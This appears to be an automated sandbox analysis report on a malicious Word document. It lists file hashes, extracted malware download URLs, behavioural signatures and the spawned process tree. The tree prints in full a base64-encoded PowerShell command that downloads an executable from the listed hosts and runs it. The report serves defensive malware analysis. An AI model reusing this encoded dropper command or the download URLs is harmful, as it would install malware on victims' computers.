Analysis
-
max time kernel
121s -
max time network
121s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
27/09/2024, 05:45
General
-
Target
f9d44d746f66a4e1b15eabc3a13494da_JaffaCakes118.doc
-
Size
175KB
-
MD5
f9d44d746f66a4e1b15eabc3a13494da
-
SHA1
61a192b4ac025c18013aa54e5e6fa1ae1ef51b02
-
SHA256
2c5f35f76a22d176543b8d304110007e10fa6f0a0baa89beb08e738aa86e7028
-
SHA512
cab128f6ebb2991608492cd0672e0c1ee8373db3edfd5a14267c4eb5be883727527f764d921df09ecce2310e645ded3fd7de0e7f880dc2b7c2e256377bc20b89
-
SSDEEP
3072:R4PrXcuQuvpzm4bkiaMQgAlSBHmDaZ+XuS1MxnEpST6Cm1PU7wRDqeC:mDRv1m4bnQgISBbZZA87wRDqeC
Malware Config
Extracted
http://bsc5000.com/aspnet_client/bw/
http://badamboom.com/zxwxo/qkm/
https://coolsculptingbangkok.clinic/filterl/s/
https://via0.com/wp-admin/js/grZw/
http://kohsorkh-sarzamin-man.ir/wkyhhb/d2djxo/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 4 IoCs
-
Drops file in System32 directory 1 IoCs
-
Drops file in Windows directory 1 IoCs
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Office loads VBA resources, possible macro or embedded object present
-
Modifies registry class 64 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 2 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\f9d44d746f66a4e1b15eabc3a13494da_JaffaCakes118.doc"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABuAGUAdQB2AHMAZQBpAG0AdgB1AGEAbgBmAG8AZQBzAHkAbwBsAD0AJwBjAGgAaQBlAHkAbgB1AHUAdwByAGUAZQBsAG0AYQBpAGgAJwA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6ACIAUwBlAGAAYwBVAFIAYABpAGAAVABZAGAAUAByAE8AVABvAGMAbwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQAYgBlAHcAZwBvAGUAZAByAHUAYQBoAGoAbwBlAGMAdgBlAGkAZgBtAGUAZQByACAAPQAgACcAOQA3ADkAJwA7ACQAYwBlAGEAcgB3AGkAZQBtAGwAYQB1AG4AaABvAGUAYwBnAGkAeQA9ACcAdwB1AHUAYwBoAGoAbwBvAGcAeABpAGUAYwAnADsAJABoAG8AaQBxAHUAaABlAGEAdABoAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABiAGUAdwBnAG8AZQBkAHIAdQBhAGgAagBvAGUAYwB2AGUAaQBmAG0AZQBlAHIAKwAnAC4AZQB4AGUAJwA7ACQAeAB1AHUAaABoAGUAZABuAG8AbAB4AGEAZQB6AGYAaQBvAGIAPQAnAG4AZQBhAGIAbQBvAGUAdAAnADsAJAB2AHUAdQB4AHoAYQBlAGIAPQAmACgAJwBuAGUAdwAtAG8AYgBqACcAKwAnAGUAYwAnACsAJwB0ACcAKQAgAG4ARQB0AC4AdwBFAEIAYwBMAEkAZQBOAHQAOwAkAHYAYQBsAGIAYQBlAGMAPQAnAGgAdAB0AHAAOgAvAC8AYgBzAGMANQAwADAAMAAuAGMAbwBtAC8AYQBzAHAAbgBlAHQAXwBjAGwAaQBlAG4AdAAvAGIAdwAvACoAaAB0AHQAcAA6AC8ALwBiAGEAZABhAG0AYgBvAG8AbQAuAGMAbwBtAC8AegB4AHcAeABvAC8AcQBrAG0ALwAqAGgAdAB0AHAAcwA6AC8ALwBjAG8AbwBsAHMAYwB1AGwAcAB0AGkAbgBnAGIAYQBuAGcAawBvAGsALgBjAGwAaQBuAGkAYwAvAGYAaQBsAHQAZQByAGwALwBzAC8AKgBoAHQAdABwAHMAOgAvAC8AdgBpAGEAMAAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AagBzAC8AZwByAFoAdwAvACoAaAB0AHQAcAA6AC8ALwBrAG8AaABzAG8AcgBrAGgALQBzAGEAcgB6AGEAbQBpAG4ALQBtAGEAbgAuAGkAcgAvAHcAawB5AGgAaABiAC8AZAAyAGQAagB4AG8ALwAnAC4AIgBzAGAAUABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAGMAaABpAGUAbgBrAHUAYQBjAGgAdABoAGkAZQB0AGgAdgBvAHUAdgBsAGkAaAA9ACcAdgBpAGEAYwB3AGEAaAAnADsAZgBvAHIAZQBhAGMAaAAoACQAcABpAG8AdgBnAGEAdQB0AGgAIABpAG4AIAAkAHYAYQBsAGIAYQBlAGMAKQB7AHQAcgB5AHsAJAB2AHUAdQB4AHoAYQBlAGIALgAiAEQAbwBXAE4ATABvAGAAQQBEAEYAaQBgAGwARQAiACgAJABwAGkAbwB2AGcAYQB1AHQAaAAsACAAJABoAG8AaQBxAHUAaABlAGEAdABoACkAOwAkAHoAYQBlAGoAcwBvAGUAbABzAGkAZQBiAGQAYQBlAGsAdABpAGEAeQBwAHUAcAA9ACcAawBvAGoAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACAAJABoAG8AaQBxAHUAaABlAGEAdABoACkALgAiAGwARQBuAGAARwB0AGgAIgAgAC0AZwBlACAAMwA4ADEANwA1ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBDAFIAZQBhAGAAVABFACIAKAAkAGgAbwBpAHEAdQBoAGUAYQB0AGgAKQA7ACQAdABvAGgAPQAnAGwAbwBpAHcAYwBoAG8AYQB3ACcAOwBiAHIAZQBhAGsAOwAkAHQAaQB2AGsAaQBoAGsAYQB0AGgAcwBvAHkAcwBlAHUAdABoAD0AJwB6AGEAZQBjAGgAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAdwBlAHUAaAB2AGUAaQByAGYAYQBlAHoAagB1AHAAdABvAG8AYgB3AG8AbwB6AD0AJwB0AGgAYQBkAGwAZQBlAHAAawBpAGUAdAAnAA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
19KB
MD52ec5dc84d945e4ee0432db40ca776e18
SHA13f5b1ebf4d85e880907da2525a1d69330d8e21ef
SHA2563158d48ea0be1e7d18600b24789805046ac71ff2fea314062a556bc4f1a67764
SHA512961cd275f66803f7fdcab13f53b1aff2997164b432be71156857714dc810d9a9d32a2ab5e71a49d44e2d8e81f17b5646688944f5eb3aca8951c41aae95176a9c
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
4KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
64KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
64KB
-
Filesize
32KB
-
Filesize
2.9MB